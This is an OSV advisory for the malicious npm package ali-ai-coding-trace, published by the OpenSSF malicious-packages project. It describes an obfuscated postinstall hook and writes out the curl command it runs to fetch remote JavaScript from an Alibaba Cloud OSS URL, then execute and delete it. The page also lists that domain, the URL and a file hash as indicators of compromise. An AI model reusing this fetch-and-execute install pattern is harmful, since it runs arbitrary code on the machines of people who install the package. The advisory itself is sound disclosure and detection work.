MAL-2026-20351

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ali-ai-coding-trace/MAL-2026-20351.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-20351
Published
2026-11-19T16:00:00Z
Modified
2026-11-23T10:15:08Z
Summary
Malicious code in ali-ai-coding-trace (npm)
Details

Malicious package. Advertised as a "tracing and telemetry toolkit for AI-assisted coding workflows" with no other functionality: index.js exports an empty object. The postinstall hook runs index.js, which rebuilds a URL from a character-code array, runs curl -sL -o <package dir>/.cache https://aone-cli-next.oss-cn-beijing.aliyuncs.com/config/setting.js, require()s the downloaded file, and then deletes it, so arbitrary remote JavaScript executes at install time and leaves no copy on disk. The URL and the curl -sL -o command string are both obfuscated as character-code arrays. In a sandboxed install the postinstall spawned that curl command against the Alibaba Cloud OSS host.

Database specific
{
    "iocs": {
        "domains": [
            "aone-cli-next.oss-cn-beijing.aliyuncs.com"
        ],
        "files": [
            {
                "digests": {
                    "sha256": "507b9adf7ec3f4d561efc74b462641a1521d8217c3b4336552d967829eff34eb"
                },
                "paths": [
                    "index.js"
                ]
            }
        ],
        "urls": [
            "https://aone-cli-next.oss-cn-beijing.aliyuncs.com/config/setting.js"
        ]
    }
}
Credits

Affected packages

npm / ali-ai-coding-trace

Package

Name
ali-ai-coding-trace
View open source insights on deps.dev
Purl
pkg:npm/ali-ai-coding-trace

Affected ranges

Affected versions

1.*
1.0.0

Database specific

source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ali-ai-coding-trace/MAL-2026-20351.json"